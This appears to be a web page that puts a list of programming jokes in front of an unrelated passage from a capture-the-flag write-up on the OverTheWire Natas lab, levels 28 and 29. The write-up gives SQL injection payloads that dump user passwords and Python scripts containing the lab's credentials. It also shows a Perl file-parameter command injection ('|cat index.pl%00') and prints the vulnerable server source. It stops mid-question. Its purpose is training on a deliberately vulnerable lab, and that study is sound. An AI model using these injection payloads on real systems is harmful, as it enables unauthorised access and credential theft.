A SQL query goes into a bar, walks up to two tables and asks, “Can I join you?”

When your hammer is C++, everything begins to look like a thumb.

When we write programs that “learn”, it turns out we do and they don’t.

I’ve got a really good UDP joke to tell you, but I don’t know if you’ll get it

Q: What is a computer virus? A: A terminal illness!

Recursion: Definition of recursion, see recursion.

A bright young coder named Lee Wished to loop while i was 3 But when writing the = He forgot its sequel And thus looped infinitely

A computer lets you make more mistakes faster than any invention in human history - with the possible exceptions of handguns and tequila.

If it weren’t for C, we’d all be programming in BASI and OBOL.

Two strings walk into a bar and sit down. The bartender says, “So what’ll it be?” The first string says, “I think I’ll have a beer quag fulk boorg jdk`^Xbasdh dsa 23^@!8 “Please excuse my friend,” the second string says. “He isn’t null-terminated.”

Q: Why does Python live on land? A: Because it is above C level!

This principle allows us to inject the query (with final space!):

"AAAAAAAAA' UNION SELECT table_name FROM information_schema.tables; -- "

This tells us the tables, between which there is the table users.

Now we try the query:

"AAAAAAAAA' UNION SELECT ALL password FROM users; -- "

This gives some problems, so we try to Base64-decode and then re-encode:

import requests
import urllib
import string
import os
import base64

from utils import utils


basic_auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')

url = "http://natas28.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

letters = string.ascii_letters

prefix = "G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP"
suffix = "c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI="

def send_request(session, query) -> str:
    body = {"query": query}
    response = session.post(url,
                    headers=headers,
                    data=body)
    result = response.url.split("=")[1]
    return urllib.parse.unquote(result)

if __name__ == '__main__':
    session = requests.Session()
    session.auth = basic_auth
    inner_block_query = "          "
    res_inner_block = send_request(session, inner_block_query)
    inner_block = res_inner_block[len(prefix):len(res_inner_block) - len(suffix)]
    query = "AAAAAAAAA' UNION SELECT ALL password FROM users; -- " # The final space is necessary!
    res = send_request(session, query)
    my_part = res[len(prefix) + len(inner_block):]
    query = prefix + inner_block + my_part + suffix
    decoded = base64.b64decode(query)
    re_encoded = base64.b64encode(decoded)
    url_encoded = urllib.parse.quote_plus(re_encoded)
    print(url_encoded)

The result is:

G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPItlMM3qTizkRB5P2zYxJsb%2B76GKJOY6adng39QUMPprGe5X2vrsM8BRZAxT9Bt8cmSBdGBYutGkE7dxkKLuB1QrDuHHBxEg4a0XNNtno9y9GVRSbu6ISPYnZVBfqJ%2FOns%3D

Which, inserted after query= in the URL, gives us:

31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns

Therefore: natas29:31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns.

Natas 29

Credentials

Username: natas29

Password: 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns

URL: http://natas29.natas.labs.overthewire.org

Message

H3y K1dZ,

y0 rEm3mB3rz p3Rl rit3?

\/\/4Nn4 g0 olD5kewL? R3aD Up!

c4n Y0 h4z s4uc3?

There is a Perl underground section.

Solution

Selecting perl underground in the Perl underground area results in a call to:

http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground

We can inject commands that must be terminated by %00:

http://natas29.natas.labs.overthewire.org/index.pl?file=|ls%00

We try to read index.pl:

http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20index.pl%00

Using the script:

import requests
import urllib
import string
import os
import base64

from utils import utils


basic_auth = ('natas29', '31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns')

url = "http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20index.pl%00"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

letters = string.ascii_letters

prefix = "G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP"
suffix = "c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI="

def send_request(session) -> str:
    response = session.get(url,
                    headers=headers)
    return response.text

if __name__ == '__main__':
    session = requests.Session()
    session.auth = basic_auth
    res = send_request(session)
    print(res)

we print the HTML response, which contains Perl code:

#!/usr/bin/perl
use CGI qw(:standard);

print <<END;
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">

<style>

#content {
    width: 1000px;
}
pre{
    background-color: #000000;
    color: #00FF00;
}

</style>

<h1>natas29</h1>
<div id="content">
END
#
# morla /10111
# '$_=qw/ljttft3dvu{/,s/./print chr ord($&)-1/eg'
#
# credits for the previous level go to whoever
# created insomnihack2016/fridginator, where i stole the idea from.
# that was a fun challenge, Thanks!
#

print <<END;
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\\/\\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>

<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
  <option value="">s3lEcT suMp1n!</option>
  <option value="perl underground">perl underground</option>
  <option value="perl underground 2">perl underground 2</option>
  <option value="perl underground 3">perl underground 3</option>
  <option value="perl underground 4">perl underground 4</option>
  <option value="perl underground 5">perl underground 5</option>
</select>
</form>

END

if(param('file')){
    $f=param('file');
    if($f=~/natas/){
        print "meeeeeep!<br>";
    }
    else{
        open(FD, "$f.txt");
        print "<pre>";
        while (<FD>){
            print CGI::escapeHTML($_);
        }
        print "</pre>";
    }
}

print <<END;

Interesting check on the file:

if(param('file')){
    $f=param('file');
    if($f=~/natas/){
        print "meeeeeep!<br>";
    }
    else{
        open(FD, "$f.txt");
        print "<pre>";
        while (<FD>){
            print CGI::escapeHTML($_);
        }
        print "</pre>";
    }
}

How can we bypass it?